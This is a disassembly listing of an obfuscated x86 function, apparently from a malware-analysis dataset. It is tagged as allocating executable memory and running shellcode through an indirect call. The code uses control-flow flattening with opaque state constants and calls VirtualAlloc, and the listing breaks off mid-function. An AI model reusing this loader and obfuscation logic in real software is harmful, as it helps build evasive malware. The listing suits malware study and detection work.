Function at 0x419240
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4dc
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xe4], 0
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0xf8], 0xd0c3efad
mov eax, dword [ebp - 0xf8]
mov ecx, eax
sub ecx, 0x7b1570b9
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x100], ecx
jg 0x419e1c
jmp 0x419310
mov eax, dword [ebp - 0xfc]
sub eax, 0x8cc9bb58
mov dword [ebp - 0x104], eax
jg 0x419348
jmp 0x41932c
mov eax, dword [ebp - 0xfc]
sub eax, 0x89b96e30
mov dword [ebp - 0x108], eax
je 0x41b5cf
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x9ff8a89a
mov dword [ebp - 0x10c], eax
jg 0x419380
jmp 0x419364
mov eax, dword [ebp - 0xfc]
sub eax, 0x8cc9bb59
mov dword [ebp - 0x110], eax
je 0x41b806
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xa2d1a582
mov dword [ebp - 0x114], eax
jg 0x4193b8
jmp 0x41939c
mov eax, dword [ebp - 0xfc]
sub eax, 0x9ff8a89b
mov dword [ebp - 0x118], eax
je 0x419f03
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xa4ed7be0
mov dword [ebp - 0x11c], eax
jg 0x4193f0
jmp 0x4193d4
mov eax, dword [ebp - 0xfc]
sub eax, 0xa2d1a583
mov dword [ebp - 0x120], eax
je 0x41b5b5
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xab64a56f
mov dword [ebp - 0x124], eax
jg 0x419428
jmp 0x41940c
mov eax, dword [ebp - 0xfc]
sub eax, 0xa4ed7be1
mov dword [ebp - 0x128], eax
je 0x41a49b
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xb50eb96d
mov dword [ebp - 0x12c], eax
jg 0x419460
jmp 0x419444
mov eax, dword [ebp - 0xfc]
sub eax, 0xab64a570
mov dword [ebp - 0x130], eax
je 0x41a462
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xba58995a
mov dword [ebp - 0x134], eax
jg 0x419498
jmp 0x41947c
mov eax, dword [ebp - 0xfc]
sub eax, 0xb50eb96e
mov dword [ebp - 0x138], eax
je 0x41b605
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xc0c0a2d7
mov dword [ebp - 0x13c], eax
jg 0x4194d0
jmp 0x4194b4
mov eax, dword [ebp - 0xfc]
sub eax, 0xba58995b
mov dword [ebp - 0x140], eax
je 0x41b5de
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xc48a4427
mov dword [ebp - 0x144], eax
jg 0x419508
jmp 0x4194ec
mov eax, dword [ebp - 0xfc]
sub eax, 0xc0c0a2d8
mov dword [ebp - 0x148], eax
je 0x41b815
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xd0c3efac
mov dword [ebp - 0x14c], eax
jg 0x419540
jmp 0x419524
mov eax, dword [ebp - 0xfc]
sub eax, 0xc48a4428
mov dword [ebp - 0x150], eax
je 0x41b010
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xd70a2f2e
mov dword [ebp - 0x154], eax
jg 0x419578
jmp 0x41955c
mov eax, dword [ebp - 0xfc]
sub eax, 0xd0c3efad
mov dword [ebp - 0x158], eax
je 0x419e3d
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xda6a5928
mov dword [ebp - 0x15c], eax
jg 0x4195b0
jmp 0x419594
mov eax, dword [ebp - 0xfc]
sub eax, 0xd70a2f2f
mov dword [ebp - 0x160], eax
je 0x41b7cb
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x72d24a6a
mov dword [ebp - 0x164], eax
jg 0x419e00
jmp 0x4195cc
mov eax, dword [ebp - 0xfc]
sub eax, 0xdaf6d962
mov dword [ebp - 0x168], eax
jg 0x419604
jmp 0x4195e8
mov eax, dword [ebp - 0xfc]
sub eax, 0xda6a5929
mov dword [ebp - 0x16c], eax
je 0x41b7bc
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xdd78a2a3
mov dword [ebp - 0x170], eax
jg 0x41963c
jmp 0x419620
mov eax, dword [ebp - 0xfc]
sub eax, 0xdaf6d963
mov dword [ebp - 0x174], eax
je 0x41b7da
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xe1a57de5
mov dword [ebp - 0x178], eax
jg 0x419674
jmp 0x419658
mov eax, dword [ebp - 0xfc]
sub eax, 0xdd78a2a4
mov dword [ebp - 0x17c], eax
je 0x41a32c
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xe514c871
mov dword [ebp - 0x180], eax
jg 0x4196ac
jmp 0x419690
mov eax, dword [ebp - 0xfc]
sub eax, 0xe1a57de6
mov dword [ebp - 0x184], eax
je 0x41b001
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xe74dfa36
mov dword [ebp - 0x188], eax
jg 0x4196e4
jmp 0x4196c8
mov eax, dword [ebp - 0xfc]
sub eax, 0xe514c872
mov dword [ebp - 0x18c], eax
je 0x41aac4
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xea0a89ae
mov dword [ebp - 0x190], eax
jg 0x41971c
jmp 0x419700
mov eax, dword [ebp - 0xfc]
sub eax, 0xe74dfa37
mov dword [ebp - 0x194], eax
je 0x41b760
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xee50896d
mov dword [ebp - 0x198], eax
jg 0x419754
jmp 0x419738
mov eax, dword [ebp - 0xfc]
sub eax, 0xea0a89af
mov dword [ebp - 0x19c], eax
je 0x41b770
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xf1d8c5b1
mov dword [ebp - 0x1a0], eax
jg 0x41978c
jmp 0x419770
mov eax, dword [ebp - 0xfc]
sub eax, 0xee50896e
mov dword [ebp - 0x1a4], eax
je 0x41b731
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xffa27a78
mov dword [ebp - 0x1a8], eax
jg 0x4197c4
jmp 0x4197a8
mov eax, dword [ebp - 0xfc]
sub eax, 0xf1d8c5b2
mov dword [ebp - 0x1ac], eax
je 0x41a531
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x4621272
mov dword [ebp - 0x1b0], eax
jg 0x4197fc
jmp 0x4197e0
mov eax, dword [ebp - 0xfc]
sub eax, 0xffa27a79
mov dword [ebp - 0x1b4], eax
je 0x41a4bc
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x68174ca
mov dword [ebp - 0x1b8], eax
jg 0x419834
jmp 0x419818
mov eax, dword [ebp - 0xfc]
sub eax, 0x4621273
mov dword [ebp - 0x1bc], eax
je 0x41a366
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xb6c9b08
mov dword [ebp - 0x1c0], eax
jg 0x41986c
jmp 0x419850
mov eax, dword [ebp - 0xfc]
sub eax, 0x68174cb
mov dword [ebp - 0x1c4], eax
je 0x41bca0
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xc901872
mov dword [ebp - 0x1c8], eax
jg 0x4198a4
jmp 0x419888
mov eax, dword [ebp - 0xfc]
sub eax, 0xb6c9b09
mov dword [ebp - 0x1cc], eax
je 0x41b7ea
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xd0f9c45
mov dword [ebp - 0x1d0], eax
jg 0x4198dc
jmp 0x4198c0
mov eax, dword [ebp - 0xfc]
sub eax, 0xc901873
mov dword [ebp - 0x1d4], eax
je 0x41b6c7
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0xfa57922
mov dword [ebp - 0x1d8], eax
jg 0x419914
jmp 0x4198f8
mov eax, dword [ebp - 0xfc]
sub eax, 0xd0f9c46
mov dword [ebp - 0x1dc], eax
je 0x41bd2d
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x19ba597a
mov dword [ebp - 0x1e0], eax
jg 0x41994c
jmp 0x419930
mov eax, dword [ebp - 0xfc]
sub eax, 0xfa57923
mov dword [ebp - 0x1e4], eax
je 0x41bd75
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x21343175
mov dword [ebp - 0x1e8], eax
jg 0x419984
jmp 0x419968
mov eax, dword [ebp - 0xfc]
sub eax, 0x19ba597b
mov dword [ebp - 0x1ec], eax
je 0x419ef3
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x227cb1f2
mov dword [ebp - 0x1f0], eax
jg 0x4199bc
jmp 0x4199a0
mov eax, dword [ebp - 0xfc]
sub eax, 0x21343176
mov dword [ebp - 0x1f4], eax
je 0x41a34d
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x2a8f1f3d
mov dword [ebp - 0x1f8], eax
jg 0x4199f4
jmp 0x4199d8
mov eax, dword [ebp - 0xfc]
sub eax, 0x227cb1f3
mov dword [ebp - 0x1fc], eax
je 0x41a449
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x30452d72
mov dword [ebp - 0x200], eax
jg 0x419a2c
jmp 0x419a10
mov eax, dword [ebp - 0xfc]
sub eax, 0x2a8f1f3e
mov dword [ebp - 0x204], eax
je 0x41bc05
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x3b63bd34
mov dword [ebp - 0x208], eax
jg 0x419a64
jmp 0x419a48
mov eax, dword [ebp - 0xfc]
sub eax, 0x30452d73
mov dword [ebp - 0x20c], eax
je 0x41b5a5
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x3e5a377f
mov dword [ebp - 0x210], eax
jg 0x419a9c
jmp 0x419a80
mov eax, dword [ebp - 0xfc]
sub eax, 0x3b63bd35
mov dword [ebp - 0x214], eax
je 0x41aa17
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x41cf119d
mov dword [ebp - 0x218], eax
jg 0x419ad4
jmp 0x419ab8
mov eax, dword [ebp - 0xfc]
sub eax, 0x3e5a3780
mov dword [ebp - 0x21c], eax
je 0x41b6a6
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x457c56ed
mov dword [ebp - 0x220], eax
jg 0x419b0c
jmp 0x419af0
mov eax, dword [ebp - 0xfc]
sub eax, 0x41cf119e
mov dword [ebp - 0x224], eax
je 0x41b01f
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x48712e1f
mov dword [ebp - 0x228], eax
jg 0x419b44
jmp 0x419b28
mov eax, dword [ebp - 0xfc]
sub eax, 0x457c56ee
mov dword [ebp - 0x22c], eax
je 0x41af7b
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x4ae5ac72
mov dword [ebp - 0x230], eax
jg 0x419b7c
jmp 0x419b60
mov eax, dword [ebp - 0xfc]
sub eax, 0x48712e20
mov dword [ebp - 0x234], eax
je 0x41bbf6
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x514f8b97
mov dword [ebp - 0x238], eax
jg 0x419bb4
jmp 0x419b98
mov eax, dword [ebp - 0xfc]
sub eax, 0x4ae5ac73
mov dword [ebp - 0x23c], eax
je 0x41b615
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x5389db5f
mov dword [ebp - 0x240], eax
jg 0x419bec
jmp 0x419bd0
mov eax, dword [ebp - 0xfc]
sub eax, 0x514f8b98
mov dword [ebp - 0x244], eax
je 0x41bc87
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x554a8e00
mov dword [ebp - 0x248], eax
jg 0x419c24
jmp 0x419c08
mov eax, dword [ebp - 0xfc]
sub eax, 0x5389db60
mov dword [ebp - 0x24c], eax
je 0x41b826
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x5625a0f6
mov dword [ebp - 0x250], eax
jg 0x419c5c
jmp 0x419c40
mov eax, dword [ebp - 0xfc]
sub eax, 0x554a8e01
mov dword [ebp - 0x254], eax
je 0x419e71
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x56dd56e4
mov dword [ebp - 0x258], eax
jg 0x419c94
jmp 0x419c78
mov eax, dword [ebp - 0xfc]
sub eax, 0x5625a0f7
mov dword [ebp - 0x25c], eax
je 0x41b835
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x5df5ee15
mov dword [ebp - 0x260], eax
jg 0x419ccc
jmp 0x419cb0
mov eax, dword [ebp - 0xfc]
sub eax, 0x56dd56e5
mov dword [ebp - 0x264], eax
je 0x41b6e0
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x68f7f152
mov dword [ebp - 0x268], eax
jg 0x419d04
jmp 0x419ce8
mov eax, dword [ebp - 0xfc]
sub eax, 0x5df5ee16
mov dword [ebp - 0x26c], eax
je 0x41a4da
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x69ee6147
mov dword [ebp - 0x270], eax
jg 0x419d3c
jmp 0x419d20
mov eax, dword [ebp - 0xfc]
sub eax, 0x68f7f153
mov dword [ebp - 0x274], eax
je 0x41a472
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x6f0f25cd
mov dword [ebp - 0x278], eax
jg 0x419d74
jmp 0x419d58
mov eax, dword [ebp - 0xfc]
sub eax, 0x69ee6148
mov dword [ebp - 0x27c], eax
je 0x41af6b
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x6ffc06ac
mov dword [ebp - 0x280], eax
jg 0x419dac
jmp 0x419d90
mov eax, dword [ebp - 0xfc]
sub eax, 0x6f0f25ce
mov dword [ebp - 0x284], eax
je 0x419eb8
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x6ffc06ad
mov dword [ebp - 0x288], eax
je 0x419eda
jmp 0x419dc8
mov eax, dword [ebp - 0xfc]
sub eax, 0x719ff1d6
mov dword [ebp - 0x28c], eax
je 0x41a555
jmp 0x419de4
mov eax, dword [ebp - 0xfc]
sub eax, 0x71eb71af
mov dword [ebp - 0x290], eax
je 0x41b6ef
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x72d24a6b
mov dword [ebp - 0x294], eax
je 0x419e61
jmp 0x419e38
mov eax, dword [ebp - 0xfc]
sub eax, 0x7b1570ba
mov dword [ebp - 0x298], eax
je 0x419e97
jmp 0x419e38
jmp 0x41bd8b
mov eax, 0x72d24a6b
mov ecx, 0x6ffc06ad
mov edx, dword [ebp - 0x98]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x554a8e01
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x7b1570ba
cmp dword [ebp - 0xa4], 0
sete cl
and cl, 1
mov byte [ebp - 0x94], cl
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x6f0f25ce
mov ecx, 0x6ffc06ad
mov dl, byte [ebp - 0x94]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x19ba597b
mov ecx, 0x6ffc06ad
cmp dword [ebp - 0xa0], 0
cmove eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xf8], 0xc0c0a2d8
jmp 0x41bd8b
mov eax, 0x9ff8a89b
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0x817f1684
mov eax, dword [ebp - 0x90]
mov ecx, eax
sub ecx, 0x89b825d1
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x2a0], ecx
jg 0x419f64
jmp 0x419f48
mov eax, dword [ebp - 0x29c]
sub eax, 0x817f1684
mov dword [ebp - 0x2a4], eax
je 0x41a1b5
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0xa42bb22b
mov dword [ebp - 0x2a8], eax
jg 0x419f9c
jmp 0x419f80
mov eax, dword [ebp - 0x29c]
sub eax, 0x89b825d2
mov dword [ebp - 0x2ac], eax
je 0x41a2c7
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0x73004675
mov dword [ebp - 0x2b0], eax
jg 0x41a194
jmp 0x419fb8
mov eax, dword [ebp - 0x29c]
sub eax, 0x6b76e69d
mov dword [ebp - 0x2b4], eax
jg 0x41a178
jmp 0x419fd4
mov eax, dword [ebp - 0x29c]
sub eax, 0xa5453c04
mov dword [ebp - 0x2b8], eax
jg 0x41a00c
jmp 0x419ff0
mov eax, dword [ebp - 0x29c]
sub eax, 0xa42bb22c
mov dword [ebp - 0x2bc], eax
je 0x41a1d9
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0xbb22c1e9
mov dword [ebp - 0x2c0], eax
jg 0x41a044
jmp 0x41a028
mov eax, dword [ebp - 0x29c]
sub eax, 0xa5453c05
mov dword [ebp - 0x2c4], eax
je 0x41a260
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0x10a21f47
mov dword [ebp - 0x2c8], eax
jg 0x41a07c
jmp 0x41a060
mov eax, dword [ebp - 0x29c]
sub eax, 0xbb22c1ea
mov dword [ebp - 0x2cc], eax
je 0x41a29f
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0x1aab17f6
mov dword [ebp - 0x2d0], eax
jg 0x41a0b4
jmp 0x41a098
mov eax, dword [ebp - 0x29c]
sub eax, 0x10a21f48
mov dword [ebp - 0x2d4], eax
je 0x41a2b8
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0x1c801757
mov dword [ebp - 0x2d8], eax
jg 0x41a0ec
jmp 0x41a0d0
mov eax, dword [ebp - 0x29c]
sub eax, 0x1aab17f7
mov dword [ebp - 0x2dc], eax
je 0x41a21b
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0x471a1dc1
mov dword [ebp - 0x2e0], eax
jg 0x41a124
jmp 0x41a108
mov eax, dword [ebp - 0x29c]
sub eax, 0x1c801758
mov dword [ebp - 0x2e4], eax
je 0x41a2df
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0x471a1dc2
mov dword [ebp - 0x2e8], eax
je 0x41a26f
jmp 0x41a140
mov eax, dword [ebp - 0x29c]
sub eax, 0x4abec68c
mov dword [ebp - 0x2ec], eax
je 0x41a239
jmp 0x41a15c
mov eax, dword [ebp - 0x29c]
sub eax, 0x4b2d889d
mov dword [ebp - 0x2f0], eax
je 0x41a1e8
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0x6b76e69e
mov dword [ebp - 0x2f4], eax
je 0x41a2fd
jmp 0x41a1b0
mov eax, dword [ebp - 0x29c]
sub eax, 0x73004676
mov dword [ebp - 0x2f8], eax
je 0x41a2ee
jmp 0x41a1b0
jmp 0x41a2f8
mov eax, 0xbb22c1ea
mov ecx, 0xa42bb22c
mov edx, dword [ebp - 0x8c]
cmp edx, dword [0x4d07b8]
cmovb eax, ecx
mov dword [ebp - 0x90], eax
jmp 0x41a2f8
mov dword [ebp - 0x90], 0x4b2d889d
jmp 0x41a2f8
lea eax, [0x4d047c]
imul ecx, dword [ebp - 0x8c], 0xc
add eax, ecx
mov eax, dword [eax + 4]
cmp eax, dword [ebp - 0x88]
sete dl
and dl, 1
mov byte [ebp - 0x7d], dl
mov dword [ebp - 0x90], 0x1aab17f7
jmp 0x41a2f8
mov eax, 0xa5453c05
mov ecx, 0x4abec68c
mov dl, byte [ebp - 0x7d]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x90], eax
jmp 0x41a2f8
lea eax, [0x4d047c]
imul ecx, dword [ebp - 0x8c], 0xc
add eax, ecx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x90], 0x10a21f48
jmp 0x41a2f8
mov dword [ebp - 0x90], 0x471a1dc2
jmp 0x41a2f8
mov eax, 0
mov ecx, dword [ebp - 0x8c]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x90], 0x817f1684
jmp 0x41a2f8
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0x10a21f48
jmp 0x41a2f8
mov dword [ebp - 0x90], 0x89b825d2
jmp 0x41a2f8
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x90], 0x6b76e69e
jmp 0x41a2f8
mov dword [ebp - 0x90], 0x4b2d889d
jmp 0x41a2f8
mov dword [ebp - 0x90], 0x89b825d2
jmp 0x419f23
mov eax, 0xdd78a2a4
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0xb0], ecx
cmp dword [ebp - 0xb0], 0
sete dl
and dl, 1
mov byte [ebp - 0x93], dl
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x4621273
mov ecx, 0x21343176
mov dl, byte [ebp - 0x93]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xf8], 0xc0c0a2d8
jmp 0x41bd8b
lea eax, [0x4d07bc]
mov ecx, dword [ebp - 0xb0]
add eax, dword [ecx]
mov dword [ebp - 0xac], eax
call fcn.00416520
mov ecx, 0
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xac]
add eax, 0x2b
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov edx, dword [ebp - 0xac]
add edx, 0x2b
shl eax, 2
add edx, eax
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov edx, dword [ebp - 0xac]
mov edx, dword [edx + 0x23]
shl edx, 1
mov esi, ecx
sub esi, eax
mov eax, ecx
sub eax, edx
add esi, eax
sub ecx, esi
mov eax, dword [ebp - 0xac]
add eax, 0x2b
shl ecx, 2
add eax, ecx
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xa0]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], pe_nt_image_headers32
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov ecx, 0xab64a570
mov edx, 0x227cb1f3
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
cmove ecx, edx
mov dword [ebp - 0xf8], ecx
jmp 0x41bd8b
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xf8], 0xc0c0a2d8
jmp 0x41bd8b
mov eax, 0x68f7f153
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0xa4ed7be1
mov ecx, dword [ebp - 0xb0]
cmp dword [ecx + 8], 0
setne dl
and dl, 1
mov byte [ebp - 0x92], dl
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x5df5ee16
mov ecx, 0xffa27a79
mov dl, byte [ebp - 0x92]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax + 8]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xf8], 0xc0c0a2d8
jmp 0x41bd8b
mov eax, 0
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xb0]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xf4]
sub eax, edx
sub ecx, eax
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xf8], 0xf1d8c5b2
jmp 0x41bd8b
mov eax, 0xdaf6d963
mov ecx, 0x719ff1d6
mov edx, dword [ebp - 0xd4]
cmp edx, dword [ebp - 0xa0]
cmovb eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xd4]
sub eax, edx
sub ecx, eax
mov dword [ebp - 0xe8], ecx
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx + 0x1f]
mov edx, dword [ebp - 0xb4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0x9fcecdd8
mov eax, dword [ebp - 0x28]
mov ecx, eax
sub ecx, 0x9b763e43
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x300], ecx
jg 0x41a5da
jmp 0x41a5be
mov eax, dword [ebp - 0x2fc]
sub eax, 0x836358d0
mov dword [ebp - 0x304], eax
je 0x41a8ee
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0x427bab00
mov dword [ebp - 0x308], eax
jg 0x41a8b2
jmp 0x41a5f6
mov eax, dword [ebp - 0x2fc]
sub eax, 0x9fcecdd7
mov dword [ebp - 0x30c], eax
jg 0x41a62e
jmp 0x41a612
mov eax, dword [ebp - 0x2fc]
sub eax, 0x9b763e44
mov dword [ebp - 0x310], eax
je 0x41a91b
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0xa731ac1a
mov dword [ebp - 0x314], eax
jg 0x41a666
jmp 0x41a64a
mov eax, dword [ebp - 0x2fc]
sub eax, 0x9fcecdd8
mov dword [ebp - 0x318], eax
je 0x41a8d3
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0xb68afdd8
mov dword [ebp - 0x31c], eax
jg 0x41a69e
jmp 0x41a682
mov eax, dword [ebp - 0x2fc]
sub eax, 0xa731ac1b
mov dword [ebp - 0x320], eax
je 0x41a9e4
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0xc866588a
mov dword [ebp - 0x324], eax
jg 0x41a6d6
jmp 0x41a6ba
mov eax, dword [ebp - 0x2fc]
sub eax, 0xb68afdd9
mov dword [ebp - 0x328], eax
je 0x41a96e
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0xcbd5837f
mov dword [ebp - 0x32c], eax
jg 0x41a70e
jmp 0x41a6f2
mov eax, dword [ebp - 0x2fc]
sub eax, 0xc866588b
mov dword [ebp - 0x330], eax
je 0x41a94d
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0xf37a22de
mov dword [ebp - 0x334], eax
jg 0x41a746
jmp 0x41a72a
mov eax, dword [ebp - 0x2fc]
sub eax, 0xcbd58380
mov dword [ebp - 0x338], eax
je 0x41a90f
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0x1530cf25
mov dword [ebp - 0x33c], eax
jg 0x41a77e
jmp 0x41a762
mov eax, dword [ebp - 0x2fc]
sub eax, 0xf37a22df
mov dword [ebp - 0x340], eax
je 0x41a999
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0x20b2552d
mov dword [ebp - 0x344], eax
jg 0x41a7b6
jmp 0x41a79a
mov eax, dword [ebp - 0x2fc]
sub eax, 0x1530cf26
mov dword [ebp - 0x348], eax
je 0x41a97a
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0x250616f9
mov dword [ebp - 0x34c], eax
jg 0x41a7ee
jmp 0x41a7d2
mov eax, dword [ebp - 0x2fc]
sub eax, 0x20b2552e
mov dword [ebp - 0x350], eax
je 0x41a9a5
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0x31cd6487
mov dword [ebp - 0x354], eax
jg 0x41a826
jmp 0x41a80a
mov eax, dword [ebp - 0x2fc]
sub eax, 0x250616fa
mov dword [ebp - 0x358], eax
je 0x41a935
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0x39b56697
mov dword [ebp - 0x35c], eax
jg 0x41a85e
jmp 0x41a842
mov eax, dword [ebp - 0x2fc]
sub eax, 0x31cd6488
mov dword [ebp - 0x360], eax
je 0x41a9b7
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0x39b56698
mov dword [ebp - 0x364], eax
je 0x41a9f0
jmp 0x41a87a
mov eax, dword [ebp - 0x2fc]
sub eax, 0x3a56a990
mov dword [ebp - 0x368], eax
je 0x41a9d1
jmp 0x41a896
mov eax, dword [ebp - 0x2fc]
sub eax, 0x3bbe34b3
mov dword [ebp - 0x36c], eax
je 0x41a98d
jmp 0x41a8ce
mov eax, dword [ebp - 0x2fc]
sub eax, 0x427bab01
